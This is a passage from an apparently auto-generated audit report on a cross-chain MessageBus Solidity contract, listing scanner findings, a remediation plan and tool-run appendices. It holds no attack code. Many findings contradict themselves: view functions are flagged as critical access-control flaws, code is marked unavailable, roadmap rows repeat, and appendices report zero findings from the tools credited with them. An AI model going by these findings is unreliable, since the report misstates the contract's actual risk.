257 |         uint256 withdrawAmount = address(this).balance - fees;
258 |         to.transfer(withdrawAmount);
259 |     }
260 |
>> 261 |     function updateGasFeePricing(address _gasFeePricing) public onlyOwner {
262 |         require(_gasFeePricing != address(0), "Cannot set to 0");
263 |         gasFeePricing = _gasFeePricing;
264 |     }
265 | }
266 |

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Change 'public' to 'external' if not called internally

References

- OWASP Smart Contract Top 10

F-099. gas_optimization

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	33%
Location	MessageBus.flat.sol:362
Status	Open (33% conf.)
Detected By	gas_analyzer

Description

Gas optimization opportunity detected: Public function that could be external

Vulnerable Code

```

357 |         return abi.decode(_returnData, (string)); // All that remains is the
revert string
358 |     }
359 |
360 |     /** CONTRACT CONFIG */
361 |
>> 362 |     function updateMessageStatus(bytes32 _messageId, TxStatus _status) public
onlyOwner {
363 |         executedMessages[_messageId] = _status;
364 |     }
365 |
366 |     function updateAuthVerifier(address _authVerifier) public onlyOwner {
367 |         require(_authVerifier != address(0), "Cannot set to 0");

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Change 'public' to 'external' if not called internally

References

- OWASP Smart Contract Top 10

F-100. gas_optimization

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	33%
Location	MessageBus.flat.sol:366
Status	Open (33% conf.)
Detected By	gas_analyzer

Description

Gas optimization opportunity detected: Public function that could be external

Vulnerable Code

```

361 |
362 |     function updateMessageStatus(bytes32 _messageId, TxStatus _status) public
onlyOwner {
363 |         executedMessages[_messageId] = _status;
364 |     }
365 |
>> 366 |     function updateAuthVerifier(address _authVerifier) public onlyOwner {
367 |         require(_authVerifier != address(0), "Cannot set to 0");
368 |         authVerifier = _authVerifier;
369 |     }
370 | }
371 |

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Change 'public' to 'external' if not called internally

References

- OWASP Smart Contract Top 10

F-101. Potential Rug Pull Pattern

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	42%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:245
Status	Open (42% conf.)
Detected By	advanced_detector

Description

Owner-only withdrawal function - can drain contract funds. Found at line 245.

Vulnerable Code

```

240 |
241 | /**
242 |  * @notice Withdraws accumulated fees in native gas token, based on fees
variable.
243 |  * @param to Address to withdraw gas fees to, which can be specified in
the event owner() can't receive native gas
244 |  */
>> 245 |  function withdrawGasFees(address payable to) external onlyOwner {
246 |      uint256 withdrawAmount = fees;
247 |      // Reset fees to 0
248 |      to.transfer(withdrawAmount);
249 |      delete fees;
250 |  }
```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Review ownership controls. Consider timelocks, multi-sig, or renouncing ownership after launch.

References

- <https://rugdoc.io/education/>
- <https://www.certik.com/resources/blog/rug-pull-prevention>

F-102. High Centralization Risk

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	42%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:None
Status	Open (42% conf.)
Detected By	advanced_detector

Description

Contract has 10 owner-only functions. Significant centralization risk.

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Consider multi-sig wallet, timelocks, or DAO governance for critical functions.

References

- <https://www.certik.com/resources/blog/centralization-risks>

F-103. Cross-chain callback without source verification

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	33%

PROPERTY	VALUE
Location	<code>/home/hero/audit_workspace/MessageBus.flat.sol:?</code>
Status	Open (33% conf.)
Detected By	crosschain

Description

Cross-chain message or transaction not properly verified

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Attackers can forge messages to drain bridge funds

Recommendation

Verify the source of cross-chain callbacks

References

- OWASP Smart Contract Top 10

F-104. unverified_relay_message

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	33%
Location	<code>/home/hero/audit_workspace/MessageBus.flat.sol:86</code>
Status	Open (33% conf.)
Detected By	bridge_monitor

Description

Cross-chain message accepted without proper verification (signature, merkle proof, or oracle consensus)

Vulnerable Code

```

81 |      * @param _srcAddress The bytes32 address of the source app contract
82 |      * @param _srcChainId The source chain ID where the transfer is originated
from
83 |      * @param _message Arbitrary message bytes originated from and encoded by
the source app contract
84 |      * @param _executor Address who called the MessageBus execution function
85 |      */
>> 86 |      function executeMessage(
87 |          bytes32 _srcAddress,
88 |          uint256 _srcChainId,
89 |          bytes calldata _message,
90 |          address _executor
91 |      ) external;

```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Verify all relay messages with cryptographic proofs or multi-sig oracle consensus

References

- OWASP Smart Contract Top 10

F-105. unverified_relay_message

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:295
Status	Open (33% conf.)
Detected By	bridge_monitor

Description

Cross-chain message accepted without proper verification (signature, merkle proof, or oracle consensus)

Vulnerable Code

```

290 |
291 |     constructor(address _authVerifier) {
292 |         authVerifier = _authVerifier;
293 |     }
294 |
>> 295 |     function getExecutedMessage(bytes32 _messageId) external view returns
(TxStatus) {
296 |         return executedMessages[_messageId];
297 |     }
298 |
299 |     /**
300 |      * @notice Relayer executes messages through an authenticated method to
the destination receiver

```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Verify all relay messages with cryptographic proofs or multi-sig oracle consensus

References

- OWASP Smart Contract Top 10

F-106. missing_pause_mechanism

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:16
Status	Open (33% conf.)
Detected By	bridge_monitor

Description

Bridge lacks emergency pause mechanism for incident response

Vulnerable Code

```

11 | * via msg.sender and msg.data, they should not be accessed in such a direct
12 | * manner, since when dealing with meta-transactions the account sending and

```

```

13 | * paying for execution may not be the actual sender (as far as an application
14 | * is concerned).
15 | *
>> 16 | * This contract is only required for intermediate, library-like contracts.
17 | */
18 | abstract contract Context {
19 |     function _msgSender() internal view virtual returns (address) {
20 |         return msg.sender;
21 |     }

```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Implement pausable pattern with guardian/multisig emergency shutdown

References

- OWASP Smart Contract Top 10

F-107. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:36 (msgAuth)
Status	Open (33% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

31 | /**
32 |  * @notice Authentication library to allow the validator network to
execute cross-chain messages.
33 |  * @param _authData A bytes32 address encoded via abi.encode(address)
34 |  * @return authenticated returns true if bytes data submitted and decoded
to the address is correct
35 |  */
>> 36 | function msgAuth(bytes calldata _authData) external view returns (bool

```

```

authenticated);
37 |
38 |     /**
39 |      * @notice Permissioned method to support upgrades to the library
40 |      * @param _nodegroup address which has authentication to execute messages
41 |      */

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-108. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:69 (estimateGasFee)
Status	Open (33% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

64 |
65 |     /**
66 |      * @notice Returns srcGasToken fee to charge in wei for the cross-chain
message based on the gas limit
67 |      * @param _options Versioned struct used to instruct relayer on how to
proceed with gas limits. Contains data on gas limit to submit tx with.

```

```

68 |      */
>> 69 |      function estimateGasFee(uint256 _dstChainId, bytes calldata _options)
external returns (uint256);
70 |  }
71 |
72 |  // messaging/interfaces/ISynMessagingReceiver.sol
73 |
74 |  interface ISynMessagingReceiver {

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-109. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:125 (owner)
Status	Open (33% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

120 |      }
121 |
122 |      /**
123 |      * @dev Returns the address of the current owner.

```

```

124 |      */
>> 125 |      function owner() public view virtual returns (address) {
126 |          return _owner;
127 |      }
128 |
129 |      /**
130 |          * @dev Throws if called by any account other than the owner.

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-110. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:191 (computeMessageId)
Status	Open (33% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

186 |      bytes options,
187 |      uint256 fee,
188 |      bytes32 indexed messageId
189 |  );
190 |

```

```
>> 191 |     function computeMessageId(
      192 |         address _srcAddress,
      193 |         uint256 _srcChainId,
      194 |         bytes32 _dstAddress,
      195 |         uint256 _dstChainId,
      196 |         uint256 _srcNonce,
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-111. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:216 (sendMessage)
Status	Open (33% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```
211 |     * @param _receiver The bytes32 address of the destination contract to be
      called
      212 |     * @param _dstChainId The destination chain ID - typically, standard EVM
chain ID, but differs on nonEVM chains
      213 |     * @param _message The arbitrary payload to pass to the destination chain
receiver
```

```

214 |      * @param _options Versioned struct used to instruct relayer on how to
    |      proceed with gas limits
215 |      */
>> 216 |      function sendMessage(
    |             bytes32 _receiver,
    |             uint256 _dstChainId,
    |             bytes calldata _message,
    |             bytes calldata _options
220 |             ) external payable {
221 |

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-112. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:295 (getExecutedMessage)
Status	Open (33% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

290 |
291 |     constructor(address _authVerifier) {
292 |         authVerifier = _authVerifier;
293 |     }
294 |
>> 295 |     function getExecutedMessage(bytes32 _messageId) external view returns
(TxStatus) {
296 |         return executedMessages[_messageId];
297 |     }
298 |
299 |     /**
300 |      * @notice Relayer executes messages through an authenticated method to
the destination receiver

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-113. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:308 (executeMessage)
Status	Open (33% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

303 |      * @param _srcAddress Originating bytes32 address of the message sender on
the srcChain
304 |      * @param _dstAddress Destination address that the arbitrary message will
be passed to
305 |      * @param _gasLimit Gas limit to be passed alongside the message,
depending on the fee paid on srcChain
306 |      * @param _message Arbitrary message payload to pass to the destination
chain receiver
307 |      */
>> 308 |      function executeMessage(
309 |          uint256 _srcChainId,
310 |          bytes32 _srcAddress,
311 |          address _dstAddress,
312 |          uint256 _gasLimit,
313 |          uint256 _nonce,

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-114. No Timelock on withdrawGasFees

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	33%
Location	/home/hero/audit_workspace/MessageBus.flat.sol:245 (withdrawGasFees)
Status	Open (33% conf.)
Detected By	gptlens

Description

Owner withdrawal 'withdrawGasFees' lacks timelock protection. Admin actions should have a delay to give users time to react to potentially malicious changes.

Vulnerable Code

```

240 |
241 |     /**
242 |      * @notice Withdraws accumulated fees in native gas token, based on fees
variable.
243 |      * @param to Address to withdraw gas fees to, which can be specified in
the event owner() can't receive native gas
244 |      */
>> 245 |     function withdrawGasFees(address payable to) external onlyOwner {
246 |         uint256 withdrawAmount = fees;
247 |         // Reset fees to 0
248 |         to.transfer(withdrawAmount);
249 |         delete fees;
250 |     }

```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Review and address the timelock vulnerability. Refer to for mitigation guidance.

References

- OWASP Smart Contract Top 10

F-115. arithmetic

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	12%
Location	contract.sol:28
Status	Open (12% conf.)
Detected By	classic-pattern-detector

Description

Integer overflow or underflow

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Use Solidity 0.8+ or SafeMath library

References

- SWC-101
- OWASP Smart Contract Top 10

F-116. arithmetic

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	12%
Location	contract.sol:45
Status	Open (12% conf.)
Detected By	classic-pattern-detector

Description

Integer overflow or underflow

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Use Solidity 0.8+ or SafeMath library

References

- SWC-101
- OWASP Smart Contract Top 10

F-117. arithmetic

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	12%
Location	contract.sol:54
Status	Open (12% conf.)
Detected By	classic-pattern-detector

Description

Integer overflow or underflow

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Use Solidity 0.8+ or SafeMath library

References

- SWC-101
- OWASP Smart Contract Top 10

F-118. arithmetic

PROPERTY	VALUE
Severity	MEDIUM

PROPERTY	VALUE
Category	
CVSS Score	3.1
Confidence	12%
Location	<code>contract.sol:72</code>
Status	Open (12% conf.)
Detected By	classic-pattern-detector

Description

Integer overflow or underflow

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Use Solidity 0.8+ or SafeMath library

References

- SWC-101
- OWASP Smart Contract Top 10

F-119. arithmetic

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	12%
Location	<code>contract.sol:94</code>
Status	Open (12% conf.)

PROPERTY	VALUE
Detected By	classic-pattern-detector

Description

Integer overflow or underflow

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Use Solidity 0.8+ or SafeMath library

References

- SWC-101
- OWASP Smart Contract Top 10

F-120. arithmetic

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	12%
Location	contract.sol:168
Status	Open (12% conf.)
Detected By	classic-pattern-detector

Description

Integer overflow or underflow

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Use Solidity 0.8+ or SafeMath library

References

- SWC-101
- OWASP Smart Contract Top 10

F-121. reentrancy

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	33%
Location	contract.sol:258
Status	Open (33% conf.)
Detected By	classic-pattern-detector

Description

External call before state update allows reentrancy

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

An attacker can recursively call the vulnerable function before state updates complete, draining contract funds in a single transaction. This is one of the most exploited vulnerability classes in DeFi (e.g., The DAO hack, \$60M lost).

Recommendation

Use ReentrancyGuard or checks-effects-interactions pattern

References

- SWC-107

- OWASP Smart Contract Top 10

F-122. unchecked_send

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	33%
Location	contract.sol:258
Status	Open (33% conf.)
Detected By	classic-pattern-detector

Description

Unchecked external call - .send()/.transfer() may fail silently or with 2300 gas limit

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Low-level calls (send, call) can silently fail without reverting the transaction. If the return value is not checked, the contract state advances as if the transfer succeeded, leading to accounting inconsistencies and potential fund loss.

Recommendation

Use .call{value: x}("") with proper checks, or verify contract receivers

References

- SWC-104
- OWASP Smart Contract Top 10

F-123. arithmetic

PROPERTY	VALUE
Severity	MEDIUM
Category	

PROPERTY	VALUE
CVSS Score	3.1
Confidence	12%
Location	<code>contract.sol:267</code>
Status	Open (12% conf.)
Detected By	classic-pattern-detector

Description

Integer overflow or underflow

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Use Solidity 0.8+ or SafeMath library

References

- SWC-101
- OWASP Smart Contract Top 10

F-124. arithmetic

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	12%
Location	<code>contract.sol:348</code>
Status	Open (12% conf.)
Detected By	classic-pattern-detector

Description

Integer overflow or underflow

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Use Solidity 0.8+ or SafeMath library

References

- SWC-101
- OWASP Smart Contract Top 10

F-125. denial_of_service

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	33%
Location	contract.sol:352
Status	Open (33% conf.)
Detected By	classic-pattern-detector

Description

Denial of service through gas exhaustion or external call failure

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Limit loop iterations or use pull payment pattern

References

- SWC-128
- OWASP Smart Contract Top 10

F-126. arithmetic

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	12%
Location	contract.sol:372
Status	Open (12% conf.)
Detected By	classic-pattern-detector

Description

Integer overflow or underflow

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Use Solidity 0.8+ or SafeMath library

References

- SWC-101
- OWASP Smart Contract Top 10

6. Remediation Roadmap

6.1 Prioritized Actions

PRIORITY	FINDING	SEVERITY	EFFORT	RATIONALE
1	centralization_risk	low	Medium	All findings are identical and represent a significant risk due to centralization, which could allow a single entity to control critical functions of the contract.
1	centralization_risk	low	Medium	All findings are identical and represent a significant risk due to centralization, which could allow a single entity to control critical functions of the contract.
1	centralization_risk	low	Medium	All findings are identical and represent a significant risk due to centralization, which could allow a single entity to control critical functions of the contract.
1	centralization_risk	low	Medium	All findings are identical and represent a significant risk due to centralization, which could allow a single entity to control critical functions of the contract.
1	centralization_risk	low	Medium	All findings are identical and represent a significant risk due to centralization, which could allow a single entity to control critical functions of the contract.
1	centralization_risk	low	Medium	All findings are identical and represent a significant risk due to centralization, which could allow a single entity to control critical functions of the contract.

PRIORITY	FINDING	SEVERITY	EFFORT	RATIONALE
1	centralization_risk	low	Medium	All findings are identical and represent a significant risk due to centralization, which could allow a single entity to control critical functions of the contract.
1	centralization_risk	low	Medium	All findings are identical and represent a significant risk due to centralization, which could allow a single entity to control critical functions of the contract.
1	centralization_risk	low	Medium	All findings are identical and represent a significant risk due to centralization, which could allow a single entity to control critical functions of the contract.
1	centralization_risk	low	Medium	All findings are identical and represent a significant risk due to centralization, which could allow a single entity to control critical functions of the contract.

6.2 Remediation Timeline

PHASE	WEEK	PRIORITY	FINDINGS	ACTION
1	Week 1	Critical & High	0 + 3	Immediate remediation required
2	Week 2	Medium	53	Address medium severity issues
3	Week 3	Low & Info	57 + 13	Fix low priority items
4	Week 4	Verification	-	Re-audit and validation

6.3 Quick Wins

The following fixes provide high security impact with minimal effort:

- **missing_event_emission** - Add missing events for state changes
- **missing_event_emission** - Add missing events for state changes

missing_event_emission - Add missing events for state changes -
missing_event_emission - Add missing events for state changes - **state-change-**
without-event - Add missing events for state changes

6.4 Effort vs Impact Matrix

		IMPACT		
		Low	Medium	High
E F F O R T		Avoid 0	Consider 6	Schedule 3
	High ↑ Med ↑ Low	Defer 18	Plan 47	Priority 0
		If Time 52	Quick Win 0	DO FIRST! 0

Prioritization Summary:

- **Schedule (3):** High effort, high impact - important but complex

7. Appendices

Appendix A: Tool Execution Details

A.1. slither

Execution Time: N/A **Exit Code:** 1 **Findings:** 0

Raw Output (click to expand)

```
Status: failed
```

A.2. aderyn

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.
Findings detected: 0
```

A.3. solhint

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.
Findings detected: 0
```

A.4. wake

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.
Findings detected: 0
```

A.5. semgrep

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.
Findings detected: 0
```

A.6. fouranalyzer

Execution Time: N/A **Exit Code:** 0 **Findings:** 20

Raw Output (click to expand)

```
Analysis completed successfully.
Findings detected: 20

Findings summary:
1. [MEDIUM] centralization_risk (line 107)
2. [MEDIUM] centralization_risk (line 132)
3. [MEDIUM] centralization_risk (line 139)
4. [MEDIUM] centralization_risk (line 144)
5. [MEDIUM] centralization_risk (line 152)
6. [MEDIUM] centralization_risk (line 245)
7. [MEDIUM] centralization_risk (line 256)
8. [MEDIUM] centralization_risk (line 261)
9. [MEDIUM] centralization_risk (line 362)
10. [MEDIUM] centralization_risk (line 366)
... and 10 more
```

A.7. echidna

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.8. medusa

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.9. foundry

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.10. dogefuzz

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.11. vertigo

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.12. hardhat

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.13. mythril

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.14. manticore

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.15. halmos

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.16. oyente

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.17. pakala

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.18. certora

Execution Time: N/A **Exit Code:** 1 **Findings:** 0

Raw Output (click to expand)

```
Status: failed
```

A.19. smtchecker

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.20. propertygpt

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.21. scribble

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.22. solcmc

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.23. smartllm

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.24. gptscan

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.25. llmsmartaudit

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.26. gptlens

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.27. llamaaudit

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.28. iaudit

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.29. dagnn

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.30. smartbugs_ml

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.31. smartbugs_detector

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.32. smartguard

Execution Time: N/A **Exit Code:** 1 **Findings:** 0

Raw Output (click to expand)

```
Status: failed
```

A.33. peculiar

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.34. threat_model

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.35. gas_analyzer

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.36. mev_detector

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.37. contract_clone_detector

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.38. defi

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.39. advanced_detector

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.40. upgradability_checker

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.41. crosschain

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.42. zk_circuit

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.43. bridge_monitor

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.44. l2_validator

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.45. circom_analyzer

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.46. llmbugscanner

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.
Findings detected: 0
```

A.47. audit_consensus

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

